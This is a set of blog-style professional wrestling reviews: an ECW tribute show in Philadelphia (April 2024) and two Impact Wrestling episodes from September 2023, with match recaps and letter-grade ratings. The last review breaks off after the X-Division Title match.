A Tribute To The Extreme 2
Date: April 5, 2024
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentator; Joe Dombrowski

It’s Wrestlemania Weekend in Philadelphia so you knew something like this was coming. The show is exactly what it sounds like as Battleground Championship Wrestling (local indy) is presenting a special night for ECW. There are various ECW wrestlers on the show and the Dudleys are going into the arena’s Hall Of Fame, which should be special. Let’s get to it.

Here is Team 3D to a hero’s welcome to get things going. The fans thank them but Ray says thank you instead. Ray talks about being in a much worse version of this building in 1997 and hit the first 3D right in here. They went on to become the most successful team in history and it was because of the fans. Thank you for showing up for either Team 3D or the Dudley Boyz. D-Von does the catchphrases and you can tell that they’re both loving this.

Team 3D vs. Atshushi Onita/Tommy Dreamer

Dreamer is a mystery partner but…..it’s the ECW Arena. What was the mystery supposed to be? Believe it or not, Dreamer has something to say before the match. He agrees that this is awesome and this is the point of a place like this. Dreamer is here with Onita because of a talk that Onita, Dreamer and Ray had at WrestleCon in Dallas a few years ago. They talked to Terry Funk on the phone and Onita was given the phone, which left him in tears. Without Funk, there would be no Onita or Dreamer so for that they are bonded forever. With that, Dreamer hits Ray in the head with a microphone and let’s get started.

Believe it or not, it’s a brawl to start with the Dudleyz being knocked down and the referee getting misted by Onita. They fight to the floor to keep up the brawl, with commentary saying Ray and Dreamer are probably fighting about Busted Open Radio. Dreamer’s sends Ray face first into a woman’s chest and then rings the bell on D-Von’s crotch.

A plastic table is brought in and Onita is busted open off something in there. D-Von hits Onita with popcorn as Dreamer hits the Flip, Flop and Fly on Ray for a double knockdown. Back in and the Dudleyz switch places on What’s Up to Onita before it’s time to get the tables. A 3D puts Dreamer through the table for the pin at 7:52.

Rating: C. I don’t think there is any secret to the fact that this wasn’t about having a top level match or really anything close to it. Instead, this was about the Dudleyz getting back in the ring for one more match in the arena where they started. There is nothing wrong with that and while the match was little more than a garbage brawl, that was pretty much entirely the point.

Respect is shown post match. Dreamer grabs the mic (again) and talks about how D-Von and Onita have had health issues but they had to do this one more time. Oh and thank you Paul Heyman for everything. And the fans too. We’re still not done as Onita says….something about ECW.

We pause to clean up the ring, with the ring announcer grabbing a broom as well.

Here is our host for the evening, the Blue Meanie! The fans chant for the BWO, with Meanie talking about how that was supposed to be a one off appearance but the fans made it go on for years. Meanie thanks the fans and Battleground Championship Wrestling and the building which changed wrestling forever.

Shane Douglas vs. CW Anderson

Francine is here with Douglas and seems very happy to be here. Douglas asks the fans to treat them like they did in 1994 and the rather insulting chants almost have Francine crying. Francine hasn’t forgotten everything they’ve sang and chanted at her over the years and she DESERVES RESPECT! They can walk out right now but instead just get Douglas’ opponent out here.

Douglas grabs a headlock to start as commentary talks about how great he was, despite other promotions telling him no over and over. They’re quickly on the floor with Douglas whipping him into the barricade but getting rammed face first into the apron a few times. Francine offers a distraction though, allowing Douglas to get in a low blow on the way back in. Another Francine distraction doesn’t work as Anderson blocks the low blow and hits a basement clothesline. Francine comes in and gets spanked, leaving Anderson to hit a superkick for the pin at 5:39.

Rating: C. As you can probably guess, the wrestling itself isn’t the point of this show. This is about getting people out there in front of the fans one more time and having a quick match to make it a wrestling show rather than a reunion. I’m a bit surprised that a star as big as Douglas lost, but let the fans be happy I guess?

Post match Anderson bows down to Douglas and we get some hugs. Anderson goes to leave but Douglas says hang on. We look at the Hall Of Fame banners as Douglas talks about how this place used to be infested with rats and a terrible place to be, but there was nowhere in the world better for wrestling. Douglas brings up people like Bam Bam Bigelow and Chris Candido, but Anderson showed up closer to the end. Anderson worked hard and got over and, after getting in a quick shot at Vince McMahon, Douglas tells the fans to applaud themselves and give us one heck of an ECW chant.

Crowbar vs. Danny Doring

Crowbar has his lackeys Vanessa and Percival with him. They fight over a lockup to start with Doring hitting a chop, allowing him to strut. A suplex puts Crowbar down and Doring knocks him out to the floor, where Percival cuts off a dive. Vanessa offers a distraction so Doring can get in a cheap shot to take over.

A neckbreaker over the ropes into a slingshot splash gives Crowbar two but Doring drop toeholds him down. The Rings of Saturn is broken up and Crowbar grabs a Sky High into something like a surfboard. We’ll make that a camel clutch, with Doring making the ropes. They head outside with Crowbar hitting a Vader Bomb off the barricade for a big crash.

Back in and they slug it out with Doring no selling some shots to the face. Doring sends Crowbar outside for a flip dive, which takes out Percival as well. Since it’s ECW, we get a chair brought in for some shots to the back, with Vanessa pulling the referee at two. Crowbar clotheslines Vanessa by mistake so Doring plants him, only to have Percival break it up. A northern lights suplex onto the chair gives Crowbar the pin at 13:19.

Rating: C-. Of all the matches on this show to get this much time, they picked a guy who was best known for a comedy tag tam and a guy who is barely remembered in ECW? This was a really weird choice and the match was boring on top of it, making this quite the mess. The other matches at least had some nostalgic charm to them but this one was just mostly dull.

Respect is shown post match. Crowbar says they didn’t spend much time together in ECW but they got to know each other and now they are brothers.

Alvin vs. Jason Knight

Alvin is a rather large Battleground Championship Wrestling guy with no connection to ECW and Missy Hyatt in his corner. Knight on the other hand has been mostly inactive for about nine and a half years and is in rather good shape. Knight grabs a hammerlock into a headlock takeover before firing off forearms to the chest.

Back up and Knight knocks him down a few more times, only for Hyatt to grab the rope. A corner splash gives Alvin two and he sends Knight outside. With that adding nothing, it’s back inside where Alvin hits another splash. The fans don’t like Alvin so he hammers away and goes up, only to miss a middle rope elbow. Hyatt offers a distraction so that Alvin can get in a brass knuckles shot for the pin at 7:23.

Rating: C-. Just like the previous match, this one was lacking the fun or special feeling that made the show fun for the first part. Alvin getting the win over an ECW guy isn’t exactly interesting and it was a slow match to make it worse. I’m not sure what the thinking was here, as it’s fine to push one of your regulars, but doing it at a tribute show is a bit weird.

Post match Alvin gets the mic and is told to shut the f*** up. Alvin: “I HAVEN’T TALKED YET!” Alvin mocks Knight and calls ECW, Knight, the Dudleyz, Shane Douglas and various other ECW legends “myths”. Cue Sandman through the crowd and we get the big Metallica entrance, which is still awesome. Alvin keeps calling him a myth and an f’ing drunk, with Sandman giving a funny “is this guy serious?” look. Sandman whips out a beer and canes Alvin down, then does it again as per the fans’ request. This is the definition of harmless nostalgic fun.

We seem to get an intermission (cut from the recorded version).

Joel Gertner vs. Bill Alfonso

Battleground Championship Wrestling owner Tim Embler (who can’t stand Gertner) is at ringside. Gertner mocks the idea of Alfonso calling it down the middle but says Embler has no idea of how to call it down the middle. Embler wasn’t here for the first half of the show but he’s here now because he’s taking sides. Gertner does his usual limerick about Embler, suggesting that he’s here for Alfonso, with his whistle, due to his fondness of blowing. As a bonus, we have Tod Gordon as guest referee.

We get a weapons check and Gertner has a bottle of ether. And a manicuring set, which is totally not to stab Alfonso. And a pen, which is there to clean his shirt. Alfonso throws the ether at Gertner, who wants a DQ, but the match hasn’t started yet. We’re still not ready to go yet, because Gertner has a note note.

He is unable to wrestle due to a variety of wrestling injuries, such as a broken meniscus in his nasal cavity. The note is from his mother, who apparently knows about Gertner’s swollen groin. Gordon says ring the bell, so Gertner offers money ($1 bills) so Gordon drops down for a trip, with Alfonso getting the win at 32 seconds. Funny stuff here and nothing wrong with that.

Post match Gordon has Embler get in the ring and praises him for what he has done. Embler says he will never allow the flame of the extreme to be extinguished. He hopes Paul Heyman dedicates his Hall Of Fame induction speech to the fans because this doesn’t work without them. Embler and Gordon leave so here is Krisitan Ross (one of Gertner’s goons) to jump Alfonso and bust him open. The fans want Rob Van Dam and Ross mocks the RVD pose but security takes Ross out instead. Well that’s disappointing. Even if you don’t have Van Dam, you don’t have one legend there to make a save?

Rhino vs. Masato Tanaka

This should hurt. Tanaka backs him into the corner to start and we get a clean break. A wristlock sends Rhino into the ropes before he grabs a wristlock of his own. That doesn’t work for them so they head outside, where Rhino’s chop hits the post. Back in and Tanaka slugs away, with Rhino telling him to bring it. Tanaka gets the better of things and grabs a chinlock…but Rhino fights up and hits the Gore for the pin at 9:13.

Rating: C. This was another disappointing match as I was expecting more from two guys who might be a bit older but are still active. I’m not sure I get why they cut this so short, as while I didn’t need some big violent bloody brawl, I could have gone for more of….anything. This could have been worse and Rhino winning is fine, but where was the rest of this one?

Pitbull Revolution vs. Da Baldies/HC Loc

That would be Alec Odin/Gary Wolfe/Traxx vs. Angel/Tony DeVito with Loc. Street fight and it’s a brawl to start, with Wolfe hammering on DeVito as we get the New Jack tradition of having the music playing throughout. They head outside as the fight is all over the place and Traxx FU’s Loc through a chair. It’s time for the box of Legos but Angel saves Loc. Instead it’s Traxx being shoved onto them, with Loc hitting a middle rope elbow for two. Wolfe cleans house with an Anthony Durante (Pitbull #1) flag and it’s time for the ladder around the neck, with a shot to the face finishing DeVito at 6:22.

Rating: C. So that happened. This was supposed to be the big wild, hardcore brawl and it only worked so well with the people involved. I didn’t care for Da Baldies back in the original ECW and watching them almost twenty five years later didn’t make it much better. It was barely a match and rather a bunch of wild spots, which is about all it was ever going to be. You had to have something like this on the show so they might as well get it out of the way.

Samoan Gangsta Party vs. FBI

That would be Samu/Lance Anoa’i (father and son) vs. Little Guido/Tommy Rich. Samu and Rich start things off with the latter working on the wrist as commentary gives us a brief Anoa’i Family Tree history. It’s quickly off to Guido….but Rich would rather have a dance off. Lance busts out a Worm and the FBI does their own version, only to have Lance deck them from behind.

Guido gets knocked to the floor, where he hits Lance in the face with a drink to…well not do much really as Lance takes over back inside. The Samoan drop gives Lance two but the Superfly Splash misses. It’s back to Rich to clean a few of the rooms before going to the floor with Samu. Lance superkicks Guido for the pin at 6:34.

Rating: C. Is it bad that I was wanting more from the dance off? Lance looks like someone who could be something somewhere with some better coaching as he certainly has the look and the lineage. Guido is an older guy who can still do well enough in the ring, while Rich and Samu are the really old guys who are there to make this feel special.

Post match the FBI teases brawling again before hugging, as is their custom.

Juventud Guerrera vs. 2 Cold Scorpio

Before the match, Juventud says this is his last match in the United States. He loves the fans but he is sick of the backstabbing and the politics in this country. On May 18, he’ll have a big show in Mexico and that’s his last show there too, so come check it out. Scorpio grabs the mic and doesn’t buy Juventud saying that he’s going to retire. Eh ok he is lying and drops a bunch of F bombs on the fans.

Scorpio slugs away to start and knocks the mask off before dropping a leg. The slingshot flipping legdrop connects before Scorpio takes him down for a hair pull. Juventud flips out of a sunset flip and hits a basement dropkick. A middle rope crossbody gives Juventud two and a dropkick just annoys Scorpio. Juventud gets knocked down but avoids a moonsault. A running knee finishes Scorpio at 6:02.

Rating: C+. This one at least had a slightly faster pace, but it was still only so good. I’m not sure what the point was in having Juventud lie to the fans, insult them, and then get the win but the people didn’t seem to mind. This was still one of the better matches of the show, mainly due to the talent involved.

Tajiri vs. Super Crazy

The fans rather approve of this as they lock up to start. They fight over wrist control as commentary explains the history between the two, which really was quite nice. Nothing happens on the mat and the fans are rather split. Crazy manages an armdrag out to the floor and Tajiri is happy to take a breather. Hold on though as cue Mikey Whipwreck to ask what the f*** is going on. Forget the chain wrestling because it’s midnight in Philadelphia this needs to be a Mexican Japanese Death Match!

Tajiri takes the hint and they brawl out into the crowd, with Crazy already busted open as they come back to ringside. Some chairs are thrown inside and a piece of a door to the head rocks Crazy again. The ladder is put between Crazy’s legs in the corner for the big chair shot and Tajiri kicks him down for two.

We hit the chinlock for a needed breather (and some near falls) before another kick gets another two on Crazy. They had outside (with Whipwreck very interested) with the beating continuing for a rather delayed near fall. Crazy manages a quick backbreaker and some right hands in the corner but Tajiri is back with the Tarantula. Tajiri misses the Buzzsaw Kick though and Crazy mists him into the rollup for the pin at 11:50.

Rating: B-. This feels like a pairing where they might not have worked together in years (and they hadn’t) and still have a good match because they know each other that well. Of course they weren’t as good as they were twenty plus years ago but this was still the best match of the night and likely would have been with or without the rule change halfway through. Good stuff here, and it did feel like the renewing of a classic rivalry.

Overall Rating: C+. I don’t think there’s any secret to the fact that this show was about the atmosphere and nostalgia rather than the wrestling. In a way that makes sense, as ECW was rarely about the wrestling (with some exceptions) and was mainly about the fans having a good time. That’s what they did here, and while they didn’t have all of the ECW legends (which would have made the show run WAY too long), they had enough to make the whole thing work well enough.

With that being said, this show needed some tweaks, as there is a stretch near the middle that REALLY drags. They might have been better off by closing with the Sandman stuff or the Dudleyz’s match, just for the sake of going out on their biggest notes. In short, the show was good when it focused on ECW and bad when it focused on the non-ECW, which is kind of the point of a show like this one. What we got was good but with another daft of the rundown, this could have been a fair bit better.

However, the important thing here though was to pay tribute to ECW and that is exactly what this felt like. As was said many times on here, it’s hard to believe that a lot of these people are going to be able to get back in the ring again so letting them do this at a pretty well put together show is a nice way to go. The tributes and nice moments were what mattered most, as a lot of the people felt like they were saying goodbye to one of the most important venues in modern wrestling history.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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Impact Wrestling
Date: September 21, 2023
Location: Westchester County Center, White Plains, New York
Commentators: Matthew Rehwoldt, Tom Hannifana

This is the second week of the 1000th episode celebration and that means we should be in for a big night. In this case, we have a ten woman Knockouts tag match that has quite the potential. Other than that, we have a month to go before Bound For Glory and there is a good chance that we will be finding out more about the show this week. Let’s get to it.

Here are last week’s results if you need a recap.

Opening recap.

Opening sequence.

Ace Austin vs. Alan Angels vs. Mike Bailey vs. Rich Swann vs. Zachary Wentz vs. Samurai del Sol

Ultimate X (the fiftieth edition) for a future X-Division Title shot. Del Sol clears the ring of Wentz and Angels, setting up a big dive. Swann dives onto most of them, followed by Austin hitting a rolling flip dive of his own. Del Sol, Bailey and Angels go up and hit huge dives out to the other three on the floor for the huge crash (that looked good).

That leaves Swann to hit a top rope cutter, but Bailey and Angels go up top of the structure, with Angels hanging upside down by a leg. Del Sol and Bailey go for the X but Wentz and Angels shake the ropes for the save in a smart bit. Bailey hangs on though, leaving Swann to beat up Wentz on the ground. Angels goes after Bailey but has to snap off a hurricanrana to Swann.

Wentz spray paints Swann as Bailey is now hanging upside down by his legs and trying to get over to the X. Del Sol gets sprayed as well so it’s Wentz, Angels and Austin going after the X as well. They’re all hanging on the cables but Wentz spray paints Austin down. Bailey manages his rapid fire kicks to knock Wentz down but Angels kicks Bailey low to put everyone down. Angels goes back up and gets the X for the win at 9:40.

Rating: B-. These things are always such insanity with one big spot after another and that’s what you had here. It was a fun match with people flying all over the place, with that spot of four people hanging upside down at once being quite the visual. As odd as this match can be, it’s Impact’s match and having one on here makes all the sense in the world.

Post break Angels announces that he is cashing in his title shot next week.

Dirty Dango vs. Jake Something

Alpha Bravo is here with Dango. We go WAY old school here with the Fox Box, meaning a graphic with a countdown clock on the top of the screen (ten minute time limit) and there is a judge (former Tag Team Champion Chase Stevens) watching in case it goes to a draw. We also get a crawl on the bottom, hyping up the rest of the show.

Something chases him to the floor to start and hits a slam, followed by a clothesline for two back inside. Dango manages a running uppercut for two but Something runs him over with a clothesline. Bravo tries to get in a shot with a flashlight but hits Dango by mistake, setting up Into The Void to give Something the pin at 3:59.

Rating: C. Something continues to feel like a monster in the making and now he’s starting to rack up some wins. That’s the way you make someone into a star and Impact seems to understand that with Something. At the same time, Dango is a great smarmy heel and it feels good to see him get what is coming to him.

Steve Maclin is ready to end things with Rhino, who runs in to jump him.

Post break Santino Marella yells at Rhino, who doesn’t care.

Kenny King vs. Eric Young

King has Sheldon Jean with him so Young has Scott D’Amore. Jean comes in for the DQ at 33 seconds.

Post match Shark Boy (the Deputy Directory Of Authority) makes it a tag match.

Kenny King/Sheldon Jean vs. Eric Young/Scott D’Amore

The Design runs in for the DQ at 17 seconds.

Shark Boy says let’s make it an eight man tag because we have some special guests.

Kenny King/Sheldon Jean/The Design vs. Eric Young/Scott D’Amore/America’s Most Wanted

We’re joined in progress with AMW taking over on King, including Chris Harris hitting a bulldog for two. D’Amore comes in to work on Deaner’s arm so it’s off to Young, who has Deaner worried. He’s so worried that he hands it back to King, who takes over on Young. Kon gets in a few right hands before missing a charge in the corner. That’s enough for Young to hit the Death Valley Driver and it’s James Storm coming in to beat on Jean.

King’s cheap shot lets Jean hit a side kick but a hot shot cuts Jean off. Young adds the top rope elbow for two but King hits a Blockbuster. We hit the parade of knockdowns until Harris and Kon have a showdown. Storm hits the Last call on Deaner, leaving D’Amore to hit a Sky High on Jean. Young’s piledriver is good for the pin at 6:56 shown.

Rating: C+. The people running in over and over and the match growing was a good story and having America’s Most Wanted on the show was great to see. They were one of the first acts to really get over in Impact Wrestling, with James Storm in particular being an absolute requirement for the show. This was wacky entertainment with some nostalgia thrown in, which is exactly what it should have been.

We look back at how Chris Bey, Crazzy Steve, Yuya Uemura and Moose won Feast Or Fired briefcases.

We see a clip of Team 3D reuniting last week, with Brother Ray talking about how they didn’t want to have this reunion match anywhere else but here. D-Von credits the fans with bringing him back after his health issues and we hit the catchphrase.

Back to Feast Or Fired, with Yuya Uemura wanting to find “champions”, which Joe Hendry says means a Tag Team Title shot. Bey and Moose want the same thing, but Steve wants a heart, a liver or maybe lungs. Steve gets to open his case first and finds….a Digital Media Title shot, sending him of saying “and the world was full of dreamers” over and over.

Moose finds…..a World Title shot.

Bey finds….a Tag Team Title shot, meaning Uemura is FIRED. Hendry isn’t sure what to say and everything is quiet.

Trey Miguel vs. Josh Alexander

Zachary Wentz is here with Miguel. They start fast and go to the floor, where Alexander blocks a hurricanrana attempt. Back in and a heck of a German suplex drops Miguel but Wentz offers a distraction. The big flip dive takes Alexander out and we take a break. Back with Miguel choking in the corner, setting up a pull on the face. We hit the chinlock for a bit before Alexander fights up and throws Miguel down.

Miguel scores with a kick and goes up, only to have Alexander cut him off. A clothesline drops Miguel but he catches Alexander on top for a super headscissors. The top rope Meteora is countered into Alexander’s ankle lock but Miguel sends him outside. Wentz gets in a cheap shot on Alexander but here is Alex Shelley to drop Wentz as well. The C4 Spike finishes Miguel at 14:04.

Rating: B. The ending makes things more interesting but this was the “here are two talented guys doing their thing” match. That’s all but guaranteed to work and Alexander picks up a win that should continue pushing him towards Bound For Glory. Miguel losing again isn’t nice to see, though he and Wentz have done well enough as a team to give him some padding.

Post match Shelley says he was out here to hut the Rascalz rather than help Alexander. That’s cool with Alexander, who is coming for the World Title at Bound For Glory.

Will Ospreay will face Mike Bailey at Bound For Glory.

Jonathan Gresham comes in to see Mike Bailey, who asks how he was. Gresham knows Bailey has a bunch of stuff on his plate but wants a good match of his own. Bailey recommends they face off again, which Gresham likes.

Jason Hotch comes in to ask the Rascalz about the Good Hands’ Tag Team Title shot (confirming that they were in cahoots) but Zachary Wentz says it’s not a good time. ABC comes in to show off the briefcase so Hotch stands up to them. The Rascalz bail and Hotch is a bit nervous.

Here’s what’s coming on various shows.

Team Beautiful People vs. Team Kong

Beautiful People: Angelina Love/Savannah Evans/Deonna Purrazzo/Tasha Steelz/Gisele Shaw
Kong: Awesome Kong/Jordynne Grace/Gail Kim/Trinity/Mickie James

Raesha Saed, Jai Vidal and Velvet Sky Evans are here too. Love drives Trinity into the corner to start and knocks her down for a bonus. Trinity fights up and knocks her back, allowing the double tag off to Grace and Shaw. A Jackhammer gives Grace two and Mickie adds the top rope Thesz press. We take a break and come back with Kin crashing out to the floor where the villains get in some cheap shots.

Back in and Steelz grabs a camel clutch but Kim is back on her feet rather quickly. Kim grabs a Black Widow but it’s quickly off to Shaw for a swinging Downward Spiral. Mickie makes a save this time and Purrazzo comes in for the chinlock. Kim fights up again and stereo crossbodies leave both of them down.

That’s enough to bring Kong in to clean house. We get the Evans vs. Kong showdown, with Evans blocking a chokeslam. Kong drops her fast as everything breaks down, with Mickie and Trinity hitting stereo Thesz presses. Steelz is sent outside onto some villains plus trinity but Grace fireman’s carries Kim to run Evans over. Kim hits a big dive to the floor and Kong hits the Implant Buster to finish Shaw at 14:34.

Rating: B. The quality here was ok, but this was about having the legends and modern stars mix it up and that worked well. Kong and Kim teaming together is one of those things that feels like a special moment and it was a very nice way to end such a milestone show. I had a great time with this and that is exactly what they seemed to be trying to do.

The Beautiful People bag Jai Vidal and the winners celebrate to end the show.

Overall Rating: B. This was much more of a regular edition of the show with some nostalgia sprinkled in. That works just fine after last week and I had a good time with the whole thing. We have a main event for Bound For Glory and AMW was back in a cool surprise. That’s a great mixture of stuff and the show was a fun ride throughout. Now just get to Chicago for the big show and Impact could be back on its roll from earlier this year.

Results
Alan Angels won Ultimate X
Jake Something b. Dirty Dango – Into The Void
Eric Young b. Kenny King via DQ when Sheldon Jean interfered
Eric Young/Scott D’Amore b. Kenny King/Sheldon Jean via DQ when the Design interfered
Eric Young/Scott D’Amore/America’s Most Wanted b. The Design/Kenny King/Sheldon Jean – Piledriver to Jean
Josh Alexander b. Trey Miguel – C4 Spike
Team Kong b. Team Beautiful People – Implant Buster to Shaw

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Impact Wrestling
Date: September 14, 2023
Location: Westchester Count Center, White Plains, New York
Commentators: Matthew Rehwoldt, Tom Hannifan

It’s time for s special show as this is the 1000^th episode. There have been all kinds of special guest stars announced and that we should be in for a lot of nostalgic fun. What matters here is having a great time while celebrating Impact’s long history. There have been some amazing moments throughout Impact’s history and looking back at them could be a blast. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a rather cool and rather in-depth history of the show, which really does give me some flashbacks. I’ve been watching this show for a long time now and while it has had its bad moments, there have been some classic moments. The problems around here weren’t often because of the wrestlers and they deserve the credit for helping get them this far.

Opening sequence, with a mixture of old and new clips.

Here is Scott D’Amore to welcome us to the show and talk about how he kicked off the very first episode of this show. The next two weeks are going to be a celebration of Impact’s history and present. We’re starting with the Knockouts, including Gail Kim, who comes out for a chat. Kim thanks the fans for getting them this far and for making so many changes to the industry.

We get a video on the Knockouts throughout the years and yes, they were influential on the Women’s Revolution and where we are now.

Cue the Beautiful People (Velvet Sky/Angelina Love) for a special reunion. Love isn’t impressed by the video, because that video didn’t have enough of the Beautiful People. There were a lot of ugly people included, like the one in front of her right now. Velvet: “That’s you Gail!” Everything that wasn’t the Beautiful People looked like the before and after pictures from a dermatologist’s office, but just the befores!

Cue Gisele Shaw and company to welcome the Beautiful People back. She’s honored to have taken their spot and improved on it, which has Sky and Love cracking up. Shaw spells and defines the word improved so Love asks who is worth anything from this generation. Cue Jordynne Grace to put over both generations, but saying that the one constant through the years has been the “annoying, vapid b******.”

Cue Deonna Purrazzo to interrupt, with Grace assuming Purrazzo “is here to represent the annoying b******.” Purrazzo says she’s here to represent her generation but here is Trinity to interrupt. She’s here to represent the current generation and is on top right now. Purrazzo: “You can come talk to me when you’ve had three.” Gail Kim: “And you can come talk to me when you’ve had seven.” After that mic drop moment, here is Awesome Kong (everyone stops) with Raesha Saed as we take a break.

Back with a WELCOME BACK chant and Saed demanding silence from the fans. If anyone wants to fight, they can come after Kong, with everyone pointing at the others to say they’re first. Cue the returning Tasha Steelz to say you have to talk about her generation as well, which is why she’s going to be on Team Beautiful People (as apparently there is a Team Beautiful People).

She wants to face Kong next week in the ten Knockouts tag but here is Mickie James to interrupt. Mickie (with the country accent rolling) says she beat the one who beat the greatest, because she herself is the greatest. Hardcore Country is back and she’s the fifth member of Team Trinity, along with Grace, Kim and Kong. She’s ready for next week and the greatest fight in Knockouts history. Outside of Tara and OBD (maybe a few others like Madison Rayne), this was a who’s who of the Knockouts and they deserve a lot of praise, even if we’re now thirty minutes into the show.

America’s Most Wanted is in the back with Eric Young when Santino Marella comes in. We cut over to Shark Boy, who arrives after the breaking of a beer bottle. Shark Boy likes order, so Santino makes him a deputy Director Of Authority (and draws the sign of the Cross over him).

Feast Or Fired

Joe Hendry, Yuya Uemura, Johnny Swinger, Moose, Brian Myers, Kevin Knight, Kushida, PCO, Black Taurus, Chris Bey, Crazzy Steve, Alpha Bravo, Bhupinder Gujjar, Heath, Jai Vidal, John Skyler, Jonathan Gresham, Laredo Kid, Sami Callihan, Steve Maclin

There are four briefcases above the ring. Three contain title shots (World, Tag Team, Digital Media) and one contains a pink slip. PCO is the last entrant and hits a big flip dive onto a bunch of people as we get started fast. It’s a big brawl to start with people climbing and being pulled back down. Kid plants Knight and Taurus does the same to Kushida but then Kid turns on Taurus.

That’s not enough for Kid to pull down a case so Skyler tries instead. That’s broken up by Bey, who pulls down a case and, after diving onto a bunch of people and getting to the floor, he’s officially safe and gets to leave. We take a break and come back with Crazzy Steve getting a case and Moose walking away rather than dealing with a fork. With everyone else on the floor, Moose goes after a briefcase but Maclin breaks it up. Maclin lays Moose out but it’s time for a parade of strikes to the face.

Bravo has to beg Callihan not to massacre him before Knight and Kushida clear the ring. PC comes back in but heads to the floor, leaving Hendry and Uemura to beat up Kid. Uemura gets a case but throws it to Hendry, who tosses it back to Uemura, who gets to the floor. There’s one case left so PCO starts hurting people, only to have Vidal….I think flirt with him?

PCO chokeslams him but Callihan breaks up the climb. Taurus and Kushida take turns breaking things up before Heath and Maclin climb at the same time. Maclin gets the case, drops Heath and Callihan, but still can’t get to the floor. Everyone surrounds him but the returning Rhino runs in with a Gore, sending the case flying….into Moose’s hands on the floor to end the match at 13:36.

Rating: B-. I have no idea how to call this as it’s really not much in the way of a match. You have people slowly being eliminated and then when the fourth case is won, it just stops. It’s kind of like a ladder match but with staggered endings, but the real drama is in the reveals. Odds are they take place later, but the Rhino return at the end was a nice moment.

Chris Sabin is ready to win the X-Division Title back.

Here is the Desi Hit Squad to brag about their success. They want to know one team who has done more than them so here we go.

Team 3D vs. Desi Hit Squad

Ray cranks on Singh’s arm to start and it’s off to D-Von for an ax handle to said arm. A double clothesline takes the Squad down and it’s the belly to back neckbreaker to Singh. It’s too early for the 3D though and Singh slams Ray off the top. Raju hammers on Ray, who spears his way out of trouble. D-Von comes in to clean house and it’s What’s Up to Raju. It’s time to get the tables (appropriate for once) and the 3D to Singh (not through the table) finishes at 5:54.

Rating: C+. All things considered, this was a fine match and the nostalgia was strong with this one. D-Von was looking pretty awesome given how long he has been out of the ring and it’s great to see one of the best teams ever getting one last match. I know they’re more famous for their time in WWE/ECW, but Team 3D had a heck of a run in Impact and it’s more than an acceptable place for them to have this kind of a moment.

Post match Raju goes through the table, as someone had to.

The Rascalz annoy Josh Alexander by making a mess in the hallway. Violence is teased but the Rascalz back off.

Here is Josh Alexander for a chat. Alexander talks about how amazing it is for him to be in this company after 21 years of it going strong. He has been a fan for such a long time and he’s proud to say so. As for himself though, he never lost the World Title and it’s time to remedy that.

Cue World Champion Alex Shelley to say that’s enough. Shelley is tired of hearing about what Alexander used to be because Shelley is the World Champion. Alexander can thank him for having a place to get paid and send his kids to private schools and drive a great truck. Alexander is cool with thanking a legend like Shelley, who absolutely paved the way for people like him.

Shelley says Alexander is a mark for him but Alexander thinks he deserves a thank you of his own. It was Alexander who carried the ball for four years so Shelley could have a place to come back to. Yes Shelley has had a bunch of great defenses, but what about the World Title match he didn’t win?

Shelley says he’s the main character and Alexander is just a side quest. They both want the match so Alexander wants to do it right now. Cue the Rascalz to jump both of them (Shelley hadn’t said no to right now) but Alexander and Shelley fight back. The Rascalz jump them again….and this time Shelley walks off, leaving Alexander to get beaten down. That’s an interesting way to go and I think we have Bound For Glory.

Post break the Rascalz are rather pleased but Shark Boy comes in to make Trey Miguel vs. Josh Alexander next week. Santino Marella comes in to praise Shark Boy but Kenny King and Sheldon Jean come in to yell at Marella. King wants his Digital Media Title back, though Santino would rather see him face Eric Young next week instead.

Eddie Edwards/Alisha Edwards vs. Frankie Kazarian/Traci Brooks

The women waste no time in starting the brawl and all four are on the floor rather quickly. Back in and an Alisha cheap shot lets Eddie plant Kazarian as we take a break. We come back with Alisha slapping Kazarian, who gets cut off by Eddie rather quickly. Kazarian finally flips over Eddie and hits a Backstabber but it’s still not enough to bring Traci back in. Instead Eddie elbows him in the face and the long form beating continues.

Alisha’s middle rope crossbody hits Eddie by mistake but he manages to stay standing. Kazarian suplexes Alisha and rolls Eddie up at the same time, allowing Traci to come back in for a spear. An X Factor into a running knee sends Eddie outside, leaving Traci to hit Fade To Black for the pin on Alisha for the pin at 12:39.

Rating: C+. Traci’s return was the big deal here and for someone who was wrestling her first match in eleven years, she did just fine. This should be enough to wrap up the feud and it plays into the idea of the big milestone show. Frankie did most of the work here and there is nothing wrong with that, especially given the situation.

Post match Frankie has a surprise: Traci Brooks is going into the Hall Of Fame. Back in the ring, Traci is in tears as her son gets to celebrate with her and Frankie. That’s an awesome moment.

Lio Rush knows Chris Sabin is shook before their title match.

Here’s what’s coming next week.

We look at Tommy Dreamer winning the Digital Media Title at Victory Road, with a special assist from Heath.

Dreamer talks about what winning the title and promises to make it be about happy moments.

X-Division Title: Chris Sabin vs. Lio Rush

Sabin is challenging and we’re getting a commercial free overrun (fair enough on a special show like this). Rush has to chase him outside to start before Rush starts dodging back inside. A running kick to the face sends Sabin outside and Rush scores with a suicide dive (ala what he did before the match at Slammiversary). Back in and the Final Hour is broken up but Cradle Shock is blocked as well.

Sabin dropkicks the leg out and pulls him into a surfboard, with Rush giving us a heck of an agonized/annoyed face. Rush escapes and hammers away (pay no attention to the punches not making contact) before grabbing a choke. With that broken up, Rush hits a belly to back suplex for two and the frustration continues. Sabin gets an elbow up in the corner and hits a missile dropkick for the double knockdown.

The Cradle Shock is broken up with a rake to the eyes and Sabin bails to the floor, setting up a bottom rope Asai moonsault. A suplex on the ramp rocks Sabin again and Rush hits a spinning kick to the head for two back inside. Sabin runs the corner for a superplex to break up the Final Hour and they’re both down again. A powerbomb gets the same on Rush and Sabin pulls him into an STF.

Rush slips out and hits a fisherman’s buster for two but Sabin hits a heck of a clothesline. Cradle Shock gets two and yeah that deserves a shocked kickout face. Sabin loads up a super Cradle Shock but Rush rakes the eyes to knock him down. The Final Hour gets two and now it’s Rush’s turn to be shocked. Rush is furious as well but Sabin takes him down for some right hands. A superkick and Shell Shock sets up the Cradle Shock to give Sabin the pin and the title back at 16:02.

